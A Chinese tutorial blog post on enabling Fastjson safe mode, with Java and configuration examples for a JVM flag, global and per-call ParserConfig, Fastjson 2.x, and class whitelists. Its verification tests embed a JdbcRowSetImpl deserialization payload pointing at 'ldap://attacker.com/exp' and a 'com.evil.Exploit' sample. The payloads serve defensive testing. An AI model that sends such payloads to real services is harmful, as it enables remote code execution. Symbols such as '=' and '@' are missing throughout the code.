Fastjson安全模式实战:5种方法彻底杜绝反序列化漏洞
1. 为什么Fastjson的安全模式如此重要如果你在Java开发圈子里待过一段时间肯定听过Fastjson的大名。它曾经是现在也依然是国内Java生态中使用最广泛的JSON处理库之一以其极致的序列化和反序列化速度著称。但伴随着高性能的是一段堪称“血泪史”的安全漏洞史。从早期的1.2.24版本爆出第一个远程代码执行RCE漏洞开始Fastjson几乎成了安全会议的“常客”各种绕过补丁的利用方式层出不穷让无数开发者和管理员心惊胆战。我自己就亲身经历过一次。那是在一个深夜监控系统突然告警显示某台核心业务服务器的CPU使用率飙升到100%。排查后发现一个对外提供JSON数据接口的服务因为使用了旧版本的Fastjson处理不可信的HTTP请求体被攻击者注入了精心构造的恶意JSON字符串成功在服务器上执行了任意命令。虽然最终通过紧急下线、升级版本和修复代码控制住了局面但那次事件带来的业务中断和数据风险至今想起来都心有余悸。所以当Fastjson在后续版本中引入“安全模式SafeMode”这个概念时我几乎是第一时间就去研究并应用到生产环境。简单来说安全模式是Fastjson的一道“终极防线”。它通过一系列严格的限制从根本上杜绝了基于特定类如TemplatesImpl、JdbcRowSetImpl和特定特征如autoType的反序列化攻击路径。开启安全模式后Fastjson会变成一个“只读”的解析器它只相信你明确告诉它可以信任的类对于其他任何带有潜在风险的类名一律拒绝反序列化。这听起来很美好但问题来了怎么开网上资料零散官方文档语焉不详不同版本、不同场景下的开启方式还各有不同。这就是为什么我把这些年踩过的坑、试过的方法整理成了这份“VIP典藏版”指南。无论你是正在为历史遗留系统加固安全还是在新项目中寻求最稳妥的JSON方案这五种方法总有一种适合你。2. 理解Fastjson安全模式的底层逻辑在动手配置之前我们必须先搞清楚安全模式到底做了什么。知其然更要知其所以然这样在遇到奇怪报错时你才知道该往哪个方向排查。Fastjson的反序列化漏洞核心攻击路径是“AutoType”特性。为了将JSON字符串还原成复杂的Java对象尤其是带有接口或抽象类型的对象Fastjson需要知道目标类的具体类型。早期版本中攻击者可以在JSON中通过type字段指定一个危险的类例如com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并精心构造该类的属性值最终触发类加载、初始化或方法调用达到执行任意代码的目的。安全模式的本质就是彻底关闭或严格管控AutoType。它不是一个单一的开关而是一套组合策略禁用AutoType这是最直接的方式。在安全模式下Fastjson解析器会直接忽略或拒绝JSON中的type字段或者只允许反序列化为最基本的类型如Map,List, 基本类型包装类。内置黑名单/白名单Fastjson维护了一个内置的危险类黑名单。即使在某些配置下AutoType没有被完全禁用黑名单上的类也绝对无法被反序列化。更安全的方式是使用白名单只允许明确指定的、安全的类进行反序列化。校验机制增强对类名、构造函数、Getter/Setter方法进行更严格的校验防止利用异常机制或特殊字符进行绕过。不同版本的Fastjson其安全模式的实现强度和默认行为是不同的Fastjson 1.x (1.2.83)安全模式相对薄弱主要通过启动参数或代码设置一个safeMode属性。但历史上存在多个漏洞可以绕过安全模式因此强烈建议升级。Fastjson 1.2.84这是一个重要的安全加固版本。它引入了更严格的默认行为和修复了多个高危漏洞。在这个版本中通过JVM启动参数开启安全模式是最重要且推荐的方式。Fastjson 2.x这是一个几乎重写的版本在设计之初就将安全性放在了更高优先级。它的API和配置方式与1.x有较大差异安全策略也更为完善和严格。理解这些你就会明白为什么有时候仅仅在代码里ParserConfig.getGlobalInstance().setSafeMode(true)可能还不够为什么必须结合JVM参数才能真正“锁死”安全防线。因为有些攻击链可能在Fastjson库自身初始化之前、或通过其他非常规的类加载路径就被触发了代码层面的设置在那种情况下可能鞭长莫及。3. 方法一通过JVM启动参数全局开启最推荐这是我最推崇也是生产环境部署中最应该使用的方法。它的优势在于生效时机最早、作用范围最广、难以被业务代码意外覆盖。核心参数-Dfastjson.parser.safeModetrue为什么它是最重要的因为这个参数是在JVM启动时就被读取的它会在Fastjson的任何静态代码块、任何单例初始化之前就生效。这意味着无论你的应用代码在何处、以何种方式使用Fastjson包括那些你无法直接控制的第三方库只要它们运行在同一个JVM内都会受到这个安全模式的约束。这相当于给整个JVM进程加了一把全局锁。具体操作步骤定位启动脚本找到你的应用启动脚本可能是startup.sh,startup.bat,catalina.sh(Tomcat), 或者在IDE的运行配置、Dockerfile的ENTRYPOINT/CMD指令中。添加JVM参数在Java命令通常是java或javaw后面添加-Dfastjson.parser.safeModetrue。Tomcat示例修改catalina.sh或catalina.bat找到JAVA_OPTS环境变量设置的地方添加进去。# Linux/Unix (catalina.sh) JAVA_OPTS$JAVA_OPTS -Dfastjson.parser.safeModetrue # Windows (catalina.bat) set JAVA_OPTS%JAVA_OPTS% -Dfastjson.parser.safeModetrueSpring Boot Jar包直接启动示例java -Dfastjson.parser.safeModetrue -jar your-application.jar在IDEA/Eclipse等IDE中运行在运行配置的“VM Options”或“Program arguments”栏中添加该参数。验证是否生效启动应用后可以通过一个简单的接口或测试代码来验证。import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONException; public class SafeModeTest { public static void main(String[] args) { String maliciousJson {\type\:\com.sun.rowset.JdbcRowSetImpl\,\dataSourceName\:\ldap://attacker.com/exp\,\autoCommit\:true}; try { Object obj JSON.parse(maliciousJson); System.out.println(安全模式未生效反序列化成功: obj); } catch (JSONException e) { // 期望抛出异常例如autoType is not support System.out.println(安全模式已生效抛出异常: e.getMessage()); } } }如果安全模式生效上述代码会抛出类似autoType is not support的异常而不是静默地反序列化成功。重要提示在Fastjson 1.2.84及以上版本中官方强烈建议使用此方式。有些文章提到的-Dfastjson.parser.autoTypeSupportfalse等参数其效果可能不如-Dfastjson.parser.safeModetrue彻底。请以安全模式参数为优先。踩坑记录与心得容器化部署注意在Kubernetes或Docker环境中确保JVM参数正确传递到了应用容器内部。检查Deployment YAML文件中的spec.containers[0].args或spec.containers[0].env确保参数被正确设置。与配置中心冲突如果你的应用使用Spring Cloud Config等配置中心且配置中心客户端本身使用了Fastjson要确保配置中心客户端先于业务模块初始化或者同样受到安全模式保护否则可能在应用启动初期出现解析异常。效果绝对化这个方法一旦生效就是“一刀切”。任何需要AutoType特性的“合法”代码也会失效。如果你的老系统确实依赖AutoType来处理一些多态类型你需要使用方法五白名单来替代而不是关闭安全模式。4. 方法二在代码中设置全局ParserConfig适用于可控的代码库如果你能确保应用内所有使用Fastjson的地方都共享同一个全局配置或者你愿意在应用启动的入口处统一进行设置那么通过代码配置也是一个清晰的选择。核心代码import com.alibaba.fastjson.parser.ParserConfig; public class FastjsonSecurityConfig { public static void init() { // 获取全局单例的ParserConfig并开启安全模式 ParserConfig.getGlobalInstance().setSafeMode(true); // 通常同时建议关闭AutoType支持双重保险 ParserConfig.getGlobalInstance().setAutoTypeSupport(false); System.out.println(Fastjson全局安全模式已开启。); } }你需要在你应用的主入口、或Spring Boot的PostConstruct方法、或**Servlet的ServletContextListener**中尽早调用这个init()方法。为什么是ParserConfig.getGlobalInstance()Fastjson的ParserConfig是控制反序列化行为的核心配置类。getGlobalInstance()返回的是一个全局单例。通过它进行的设置会对后续所有使用JSON.parse()、JSON.parseObject()等静态方法的调用生效前提是它们没有显式传入自定义的ParserConfig。实操步骤与集成示例Spring Boot应用启动类配置import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import com.alibaba.fastjson.parser.ParserConfig; import javax.annotation.PostConstruct; SpringBootApplication public class MyApplication { public static void main(String[] args) { SpringApplication.run(MyApplication.class, args); } PostConstruct public void initFastjsonConfig() { // 确保在Bean初始化早期执行 ParserConfig.getGlobalInstance().setSafeMode(true); ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 可以在这里添加自定义的白名单见方法五 // ParserConfig.getGlobalInstance().addAccept(com.yourcompany.safe.); } }传统Web应用Servlet 3.0配置import com.alibaba.fastjson.parser.ParserConfig; import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; import javax.servlet.annotation.WebListener; WebListener public class FastjsonSecurityListener implements ServletContextListener { Override public void contextInitialized(ServletContextEvent sce) { ParserConfig.getGlobalInstance().setSafeMode(true); ParserConfig.getGlobalInstance().setAutoTypeSupport(false); sce.getServletContext().log(Fastjson全局安全模式已开启。); } Override public void contextDestroyed(ServletContextEvent sce) {} }注意事项与局限生效时机这种方式依赖于你的配置代码被执行的时机。如果第三方库在Spring容器初始化之前、或在你的Listener执行之前就使用了Fastjson那么此时的全局配置可能还未生效存在一个短暂的安全窗口期。因此它的可靠性略低于JVM启动参数。局部覆盖风险任何代码都可以通过new ParserConfig()创建一个新的、独立的配置实例并在调用JSON.parseObject(String text, ClassT clazz, ParserConfig config)时传入。这个局部配置不会继承全局配置的安全设置。如果项目中有这样的代码安全模式对其无效。你需要审查代码确保没有这种绕过行为。适用于模块化应用在大型应用中如果不同模块由不同团队维护很难保证所有人都遵守“使用全局配置”的约定。此时JVM参数是更强制性的选择。5. 方法三为每个反序列化操作指定配置最灵活也最繁琐对于某些特定场景你可能希望对不同的反序列化操作应用不同的安全策略。这时你可以为每次调用单独创建一个ParserConfig实例并进行配置。核心代码示例import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class SpecificParserDemo { public void parseSafely(String jsonString) { // 1. 创建一个新的、独立的ParserConfig实例 ParserConfig safeConfig new ParserConfig(); // 2. 为此实例开启安全模式 safeConfig.setSafeMode(true); // 同样建议关闭AutoType safeConfig.setAutoTypeSupport(false); // 3. 在反序列化时显式传入这个配置 // 示例反序列化为一个安全的已知类型如Map try { // 使用传入配置的parseObject方法 Object result JSON.parseObject(jsonString, Object.class, safeConfig, JSON.DEFAULT_PARSER_FEATURE); // 或者如果你知道具体类型例如一个安全的DTO // MySafeDTO dto JSON.parseObject(jsonString, MySafeDTO.class, safeConfig); System.out.println(安全解析结果: result); } catch (Exception e) { System.err.println(解析失败可能触发了安全限制: e.getMessage()); } } }适用场景分析处理来自不同信任域的数据你的应用可能同时处理来自内部可信RPC调用的JSON需要反序列化复杂对象和来自外部不可信HTTP接口的JSON。对于外部数据你可以使用开启了安全模式的ParserConfig对于内部数据可以使用一个配置了精确白名单的ParserConfig。渐进式改造在将一个大型老旧系统迁移到安全模式的过程中你可以先从处理外部入口的、风险最高的代码处开始逐个方法地替换为使用安全配置的解析方式而不是一次性全局修改降低改造风险。第三方库不可控时如果你使用的某个第三方库内部调用了Fastjson但你无法修改其源码也无法保证它使用全局配置。那么在你的代码中如果有可能在调用该库方法前临时替换全局配置需谨慎注意线程安全调用后再恢复。但这是一种Hack手段不推荐作为常规方案。显著缺点代码侵入性强需要在每个反序列化调用点添加配置代码严重破坏代码的简洁性增加维护成本。容易遗漏在大型项目中很难保证所有开发人员都记得并且正确使用这个模式一旦遗漏一处就是一个安全漏洞。性能考虑频繁创建新的ParserConfig实例可能会带来微小的性能开销虽然通常可忽略不计。因此除非有非常特殊的、细粒度的安全策略需求否则不建议将这种方法作为主要或唯一的防护手段。它更适合作为对方法一或方法二的补充用于处理那些需要特殊对待的“角落案例”。6. 方法四升级到Fastjson 2.x并利用其默认安全增强如果你的项目尚未被Fastjson 1.x深度绑定或者你正计划进行技术栈升级那么直接迁移到Fastjson 2.x是解决安全问题的一劳永逸的方案。Fastjson 2.x在架构上进行了重写安全性是设计的核心考量之一。Fastjson 2.x的安全改进默认关闭AutoType在2.x中AutoType功能默认是关闭的这从根本上改变了安全基线。你必须显式地、非常明确地开启它并搭配白名单使用。清晰的API分离2.x将API分为了JSON用于简单操作和JSONB用于高性能二进制序列化。安全策略主要关联于反序列化操作。更严格的校验对类名、字段名、方法名的校验更为严格减少了通过畸形输入进行攻击的可能性。漏洞响应更快Fastjson 2.x的维护和漏洞修复周期相对1.x更活跃。如何在Fastjson 2.x中确保安全对于大多数只需要基本JSON解析的场景你几乎不需要做任何额外配置因为默认就是安全的。// Fastjson 2.x 基本使用 (groupId: com.alibaba.fastjson2) import com.alibaba.fastjson2.JSON; import com.alibaba.fastjson2.JSONReader; import com.alibaba.fastjson2.JSONWriter; public class Fastjson2Demo { public static void main(String[] args) { // 序列化 - 和1.x类似但包名和细微API可能不同 String json JSON.toJSONString(new MyObject()); // 反序列化到具体类型 - 默认是安全的不支持type MyObject obj JSON.parseObject(json, MyObject.class); // 如果你确实需要处理带有type的多态JSON来自可信源必须显式配置Feature String jsonWithType {\type\:\com.example.Animal\,\name\:\cat\}; try { // 不指定Feature会直接报错 // Object o1 JSON.parseObject(jsonWithType); // 报错 // 必须显式开启 SupportAutoType 特性但这非常危险 // JSONReader.Feature.SupportAutoType 是一个枚举值需要显式传入 Object o2 JSON.parseObject(jsonWithType, Object.class, JSONReader.Feature.SupportAutoType); System.out.println(已开启AutoType支持解析成功: o2.getClass()); } catch (Exception e) { System.out.println(默认安全解析失败: e.getMessage()); } } }安全实践建议Fastjson 2.x不要轻易使用SupportAutoType除非你有绝对充分的理由例如必须反序列化来自完全可控的、内部服务的多态数据否则永远不要在你的JSONReader配置中加入SupportAutoType这个特性。使用JSONReader.Feature.SupportClassForName替代谨慎如果必须处理类型信息2.x提供了更可控的SupportClassForName特性但它也必须与白名单结合使用。白名单可以通过JSONReader.getContext().config()来配置。关注版本号即使使用2.x也要保持版本更新。关注官方GitHub的Release Notes及时修复已知漏洞。迁移注意事项API不兼容Fastjson 1.x和2.x的包名和部分API不兼容包名从com.alibaba.fastjson变为com.alibaba.fastjson2。迁移需要修改import语句并仔细测试所有JSON相关功能。性能与兼容性测试2.x在性能和功能上可能与1.x有细微差异务必在迁移后进行充分的集成测试和性能压测。依赖冲突如果项目中还有其他依赖传递引入了Fastjson 1.x需要使用Maven的exclusions或Gradle的exclude将其排除防止版本冲突。7. 方法五配置精确的白名单平衡安全与功能的终极方案“安全模式”是一把锁把危险关在了门外。但有时候我们自己的业务也需要带一些“安全的工具”进门。比如你的系统设计里确实需要使用type来实现多态反序列化一些来自内部可信服务的、预先定义好的复杂对象体系。这时完全禁用AutoType安全模式会阻碍业务功能。白名单Allow List机制就是解决这个矛盾的钥匙。它的思想是“我不相信所有人我只相信我认识的人”。你明确告诉Fastjson除了java.util.Map,java.util.List这些基础类型外只允许反序列化com.yourcompany.dto.包下或者com.thirdparty.safelib.包下的类。在Fastjson 1.x中配置白名单当安全模式开启或autoTypeSupport为false时你可以通过addAccept方法来添加白名单条目。白名单支持包名前缀匹配。import com.alibaba.fastjson.parser.ParserConfig; public class WhitelistConfig { public static void configure() { ParserConfig config ParserConfig.getGlobalInstance(); // 首先开启安全模式或关闭AutoType二选一或都做 config.setSafeMode(true); // 强烈建议开启 // config.setAutoTypeSupport(false); // 与setSafeMode(true)效果类似可同时设置 // 然后添加你的白名单 // 1. 添加整个包最常用 config.addAccept(com.yourcompany.project.dto.); config.addAccept(com.yourcompany.project.model.); // 2. 添加具体的类最精确 config.addAccept(com.thirdparty.library.SafeDataObject); config.addAccept(com.anotherlib.ConfigItem); // 3. 注意内置的常见JDK和基础类型默认已在白名单中无需添加 // 例如java.util., java.lang., com.alibaba.fastjson. 等 System.out.println(白名单配置完成。); } }在Fastjson 2.x中配置白名单2.x的API有所不同白名单配置在JSONReader.Context中。import com.alibaba.fastjson2.JSON; import com.alibaba.fastjson2.JSONReader; import com.alibaba.fastjson2.reader.ObjectReaderProvider; public class WhitelistConfig2 { public static void main(String[] args) { // 创建一个自定义的Feature数组包含你需要的特性但不包含SupportAutoType JSONReader.Feature[] features { JSONReader.Feature.SupportAutoType // 注意这里开启了AutoType支持但必须搭配白名单 // 可以添加其他特性如 FieldBased, IgnoreNoneSerializable 等 }; // 配置白名单 ObjectReaderProvider provider new ObjectReaderProvider(); // 使用通配符配置包名前缀白名单 provider.addAutoTypeAccept(com.yourcompany.safe.); provider.addAutoTypeAccept(com.trusted.vendor.); // 创建带有自定义配置的JSONReader JSONReader.Context context new JSONReader.Context(provider, features); // 使用这个context进行反序列化 String json {\type\:\com.yourcompany.safe.User\,\name\:\test\}; try { Object obj JSON.parseObject(json, Object.class, context); System.out.println(白名单内解析成功: obj); } catch (Exception e) { System.out.println(解析失败: e.getMessage()); } // 尝试反序列化一个不在白名单的类 String maliciousJson {\type\:\com.evil.Exploit\,\cmd\:\calc\}; try { Object obj2 JSON.parseObject(maliciousJson, Object.class, context); System.out.println(危险不应该成功: obj2); } catch (Exception e) { System.out.println(成功被白名单拦截: e.getMessage()); // 期望抛出异常 } } }白名单策略的最佳实践最小化原则白名单的范围要尽可能小。优先使用完整类名其次才是包名前缀。避免使用过于宽泛的前缀如com.或org.。与安全模式结合在Fastjson 1.x中即使配置了白名单也强烈建议同时开启安全模式setSafeMode(true)。安全模式是底层保障白名单是业务通道两者结合最稳妥。定期审计将白名单列表作为代码的一部分进行管理。定期审查名单中的类是否仍然必要移除不再使用的条目。新增加的DTO或模型类需要经过评审才能加入白名单。隔离不可信数据流对于来自外部用户输入、网络爬虫、公开API接口的JSON数据绝对不要使用配置了白名单或开启AutoType的解析器。对于这些数据应坚持使用安全模式完全关闭AutoType或仅反序列化为Map、List、String等安全类型再进行业务逻辑处理。测试验证编写安全测试用例尝试用不在白名单的危险类进行反序列化攻击确保你的配置能正确拦截。白名单是平衡安全与灵活性的高级手段但它也增加了配置的复杂性和维护成本。对于绝大多数面向外部的Web应用我的建议仍然是首选全局安全模式方法一彻底关闭AutoType。只有在内部服务间通信、且有强类型契约的场景下才考虑使用严格管理的白名单。

相关新闻

我实现了一个 RPC:sRPC实现与 gRPC 对照

我实现了一个 RPC:sRPC实现与 gRPC 对照

一、为什么要自研一个 RPC:动机与取舍上一篇我们学会了 gRPC——它是"标准答案"。这一篇反过来,讲我自己造的 sRPC:一个不依赖 gRPC、不依赖 HTTP/2、不依赖 protoc 的自研 RPC 框架,然后全程跟 gRPC 对照着看。你会发现…

2026/8/12 17:38:59 阅读更多 →
新手小白快速理解——SENet注意力机制

新手小白快速理解——SENet注意力机制

官方GitHub链接:https://github.com/hujie-frank/SENethttps://github.com/hujie-frank/SENet 原文链接:[1709.01507] Squeeze-and-Excitation Networkshttps://arxiv.org/abs/1709.01507 感兴趣的朋友可以自行下载,下面就让我们开始今天的…

2026/8/12 17:37:59 阅读更多 →
Android Studio APK打包全流程:从构建原理到实战优化

Android Studio APK打包全流程:从构建原理到实战优化

1. 项目概述:从代码到可安装包的核心一步对于每一位Android开发者来说,无论你是刚入门的新手,还是经验丰富的老手,使用Android Studio将精心编写的代码和资源打包成一个可以在真实设备上安装运行的APK(Android Package…

2026/8/12 17:37:59 阅读更多 →

最新新闻

如何快速掌握华硕笔记本性能控制:G-Helper轻量级工具完全指南

如何快速掌握华硕笔记本性能控制:G-Helper轻量级工具完全指南

如何快速掌握华硕笔记本性能控制:G-Helper轻量级工具完全指南 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops with nearly the same functionality. Works with ROG Zephyrus, Flow, TUF, Strix, Scar, ProArt, Vivobook, Zenb…

2026/8/12 18:22:26 阅读更多 →
Skill工作流四种串联模式实测:从串行到DAG的性能优化指南

Skill工作流四种串联模式实测:从串行到DAG的性能优化指南

1. 项目概述:从单兵作战到流水线协同最近在折腾一个数据处理项目,脚本写得七七八八,功能也都实现了,但每次跑起来都感觉在“等”。一个任务卡住,后面的都得排队,看着进度条慢悠悠地挪,心里那个急…

2026/8/12 18:22:26 阅读更多 →
穿戴甲市场爆发:产品设计与独立站运营全解析

穿戴甲市场爆发:产品设计与独立站运营全解析

1. 小众穿戴甲的市场爆发现象解析 去年夏天我在刷Ins时注意到一个有趣现象:大量美甲博主开始推荐一种名为"Press-on Nails"的穿戴甲产品。与传统美甲店动辄50-100美元的消费相比,这些定价9.9-12.9美元的即贴式美甲片正在欧美市场掀起风暴。更令…

2026/8/12 18:22:26 阅读更多 →
【2014-05-19】某《魔鬼训练营》读书笔记:msfpayload的使用及免杀工具

【2014-05-19】某《魔鬼训练营》读书笔记:msfpayload的使用及免杀工具

[历史归档] 本文原发布于 cstriker1407.info 个人博客,内容为历史存档,仅供参考。 发布时间: 2014-05-19 | 标题:某《魔鬼训练营》读书笔记:msfpayload的使用及免杀工具 | 分类:…

2026/8/12 18:22:26 阅读更多 →
从误解到精通:Claude函数调用机制解析与后端实践指南

从误解到精通:Claude函数调用机制解析与后端实践指南

1. 从“我以为”到“我搞懂”:一次关于Claude函数调用的认知纠偏最近在折腾一个智能客服的POC项目,核心是想让Claude能根据用户的自然语言查询,自动去数据库里捞点数据回来。比如用户问“帮我查一下上个月订单量最大的三个客户是谁”&#xf…

2026/8/12 18:22:26 阅读更多 →
JASP统计分析软件:完全免费的SPSS终极替代方案完整指南

JASP统计分析软件:完全免费的SPSS终极替代方案完整指南

JASP统计分析软件:完全免费的SPSS终极替代方案完整指南 【免费下载链接】jasp-desktop JASP aims to be a complete statistical package for both Bayesian and Frequentist statistical methods, that is easy to use and familiar to users of SPSS 项目地址: …

2026/8/12 18:21:26 阅读更多 →

日新闻

Ubuntu 22.04安装与使用tree命令:高效管理Linux目录结构

Ubuntu 22.04安装与使用tree命令:高效管理Linux目录结构

1. 为什么需要一个“目录树”工具?在Linux世界里,尤其是Ubuntu这样的发行版,命令行是很多人的主战场。我们每天都要和文件、目录打交道。ls命令是查看目录内容的首选,它简洁、高效,能列出文件名、权限、大小等关键信息…

2026/8/12 9:33:34 阅读更多 →
博思AI智能体:意图识别、思考链与性能优化的工程实践

博思AI智能体:意图识别、思考链与性能优化的工程实践

在AI应用从“能用”走向“好用”的进程中,系统的响应速度、决策透明度与高并发稳定性是决定用户体验的关键。博思AI智能体近期完成了一次重要的专项优化,聚焦于意图识别、思考链展示与全链路压测三大核心领域,将系统从功能实现推向了工程卓越…

2026/8/12 9:33:34 阅读更多 →
子代理架构:AI智能体任务分解与协同执行的核心原理与实践

子代理架构:AI智能体任务分解与协同执行的核心原理与实践

1. 项目概述:为什么我们需要“子代理”?最近在折腾各种AI应用和自动化流程时,我越来越频繁地遇到一个瓶颈:单个AI智能体(Agent)的能力边界。无论是处理复杂的多步骤任务,还是需要同时调用多个专…

2026/8/12 9:33:34 阅读更多 →

周新闻

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁 【免费下载链接】baidupankey 在线查询网盘提取码(维护中 rm repo) 项目地址: https://gitcode.com/gh_mirrors/ba/baidupankey 你是否曾经在深夜寻找一份重要资料&#x…

2026/8/12 1:11:09 阅读更多 →
如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南

如何快速生成中国车牌图片:Python开源工具完整指南 【免费下载链接】chinese_license_plate_generator 中国车牌生成器 项目地址: https://gitcode.com/gh_mirrors/ch/chinese_license_plate_generator 中国车牌生成器是一个基于Python的开源项目&#xff0c…

2026/8/12 1:11:09 阅读更多 →
收藏!小白程序员轻松入门大模型,从Harness工程开始实践

收藏!小白程序员轻松入门大模型,从Harness工程开始实践

文章强调学习大模型不应只关注模型本身,而应重视模型外的系统搭建,即Harness。提出AgentModelHarness的实用公式,详细介绍Harness的四个层次:持久化层、执行层、控制层和观察与验证层。文章还探讨了上下文工程、工具设计、AGENTS.…

2026/8/12 1:11:08 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/11 17:09:45 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/12 1:11:10 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/11 17:09:45 阅读更多 →